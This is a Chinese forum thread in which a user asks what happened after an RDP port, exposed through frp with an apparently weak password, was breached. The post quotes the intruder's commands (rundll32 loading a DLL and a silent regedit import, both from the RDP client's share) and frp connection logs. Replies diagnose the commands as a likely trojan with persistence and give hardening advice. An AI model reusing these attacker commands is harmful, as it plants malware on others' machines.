Droog
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3389 端口开了两天,就被人搞了...

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  •   Droog · Oct 27, 2022 · 5350 views
    This topic created in 1468 days ago, the information mentioned may be changed or developed.

    办公室有台没用的电脑,拿来刷网课。用 frp 打洞,直接开的 3389 端口,用 mstsc 远程控制。 才开了 2 天,就被人搞进来了,应该是弱口令的问题。

    看到别人的操作记录

    请问有人知道这是操作了什么不?

    rundll32 \\tsclient\a\a.dll a
    regedit /s \\tsclient\a\r.reg
    

    frp 服务端日志

    2022/10/27 06:17:01 [I] [proxy.go:162] [fcd53d7a449ce30e] [rdp] get a user connection [154.89.5.220:38210]
    2022/10/27 06:17:01 [I] [proxy.go:162] [fcd53d7a449ce30e] [rdp] get a user connection [154.89.5.220:39680]
    2022/10/27 06:17:02 [I] [proxy.go:162] [fcd53d7a449ce30e] [rdp] get a user connection [154.89.5.220:40964]
    2022/10/27 06:17:03 [I] [proxy.go:162] [fcd53d7a449ce30e] [rdp] get a user connection [154.89.5.220:42406]
    2022/10/27 06:17:03 [I] [proxy.go:162] [fcd53d7a449ce30e] [rdp] get a user connection [154.89.5.220:43746]
    2022/10/27 06:17:04 [I] [proxy.go:162] [fcd53d7a449ce30e] [rdp] get a user connection [154.89.5.220:44924]
    2022/10/27 06:17:05 [I] [proxy.go:162] [fcd53d7a449ce30e] [rdp] get a user connection [154.89.5.220:46104]
    2022/10/27 06:17:05 [I] [proxy.go:162] [fcd53d7a449ce30e] [rdp] get a user connection [154.89.5.220:47126]
    2022/10/27 06:17:06 [I] [proxy.go:162] [fcd53d7a449ce30e] [rdp] get a user connection [154.89.5.220:48130]
    2022/10/27 06:17:07 [I] [proxy.go:162] [fcd53d7a449ce30e] [rdp] get a user connection [154.89.5.220:49162]
    2022/10/27 06:38:56 [I] [proxy.go:162] [fcd53d7a449ce30e] [rdp] get a user connection [218.15.254.218:49298]
    2022/10/27 06:48:35 [I] [proxy.go:162] [fcd53d7a449ce30e] [rdp] get a user connection [218.26.179.7:55213]
    2022/10/27 06:55:41 [I] [proxy.go:162] [fcd53d7a449ce30e] [rdp] get a user connection [77.83.36.44:37643]
    2022/10/27 06:55:41 [I] [proxy.go:162] [fcd53d7a449ce30e] [rdp] get a user connection [77.83.36.44:38109]
    2022/10/27 07:04:11 [I] [proxy.go:162] [fcd53d7a449ce30e] [rdp] get a user connection [218.15.254.218:62334]
    2022/10/27 07:12:42 [I] [proxy.go:162] [fcd53d7a449ce30e] [rdp] get a user connection [185.170.144.46:3172]
    2022/10/27 07:13:48 [I] [proxy.go:162] [fcd53d7a449ce30e] [rdp] get a user connection [218.15.254.218:56728]
    2022/10/27 07:16:39 [I] [control.go:309] [fcd53d7a449ce30e] control writer is closing
    
    20 replies  •  2022-10-28 18:27:54 +08:00
    7zlid
    7zlid
    Oct 27, 2022 via Android
    1
    重装系统吧
    cndns
    cndns
    Oct 27, 2022
    2
    RDP 使用 3389 和 SSH 使用 22 的都是勇士
    Droog
    Droog
    OP
    Oct 27, 2022
    3
    @cndns 收到教训了...
    @7zlid 估计只有这样了!
    kingpo
    kingpo
    Oct 27, 2022
    4
    改下 3389 端口
    maskerTUI
    maskerTUI
    Oct 27, 2022
    5
    弱口令才是真正的问题
    DawnMoon
    DawnMoon
    Oct 27, 2022❤️1
    6
    @cndns 用标准端口没有任何问题,比如 SSH ,如果关闭密码登录,只允许 RSA 密钥登录,随便黑客怎样都不可能攻破
    flexbug
    flexbug
    Oct 27, 2022 via iPhone
    7
    建议使用向日葵或者 todesk 不要自己创造风险
    mcluyu
    mcluyu
    Oct 27, 2022
    8
    默认用户名(或者容易猜到的常见用户名)+ 弱口令, 至于使用什么端口根本无所谓。
    vmebeh
    vmebeh
    Oct 27, 2022 via iPhone❤️1
    9
    套个 wireguard 回来随便用
    Ufo666
    Ufo666
    Oct 27, 2022
    10
    @cndns 别吓我,我们公司就是 22
    Droog
    Droog
    OP
    Oct 27, 2022
    11
    @vmebeh 我试试看。
    0x73346b757234
    0x73346b757234
    Oct 27, 2022
    12
    黑阔用 rundll32 白加黑的方式执行了一个恶意 dll 文件,猜测是远控木马。注册表加了个一个记录也许是做了持久化。
    kongkongye
    kongkongye
    Oct 27, 2022 via iPhone
    13
    我上次也是,用 frp 无密码暴露了 docker😂
    ungrown
    ungrown
    Oct 27, 2022 via Android
    14
    @villivateur #6 rdp 也可以这样吗只允许密钥登录?
    zero47
    zero47
    Oct 27, 2022
    15
    之前用凉心云搭 transmission 远程下载,每次登上去都提示密码错误次数过多,要求重启。什么端口都没用,专门有人恶意扫端口的,还是好好加密比较重要。ssh 用 22 我觉得没问题,用证书加密就好。
    MasterofNone
    MasterofNone
    Oct 27, 2022
    16
    rdp 可以上证书验证吗?
    swulling
    swulling
    Oct 27, 2022 via iPhone
    17
    不要暴露任何控制端口到公网
    aver4vex
    aver4vex
    Oct 27, 2022
    18
    我现在就是软路由开 wireguard 服务。随便折腾。
    PerFectTime
    PerFectTime
    Oct 28, 2022
    19
    VPN 连回家最安全,商业公司的软件你也不知道里面有没有 0day
    HFX3389
    HFX3389
    Oct 28, 2022
    20
    frp 开 stcp 呗,不用普通的 tcp
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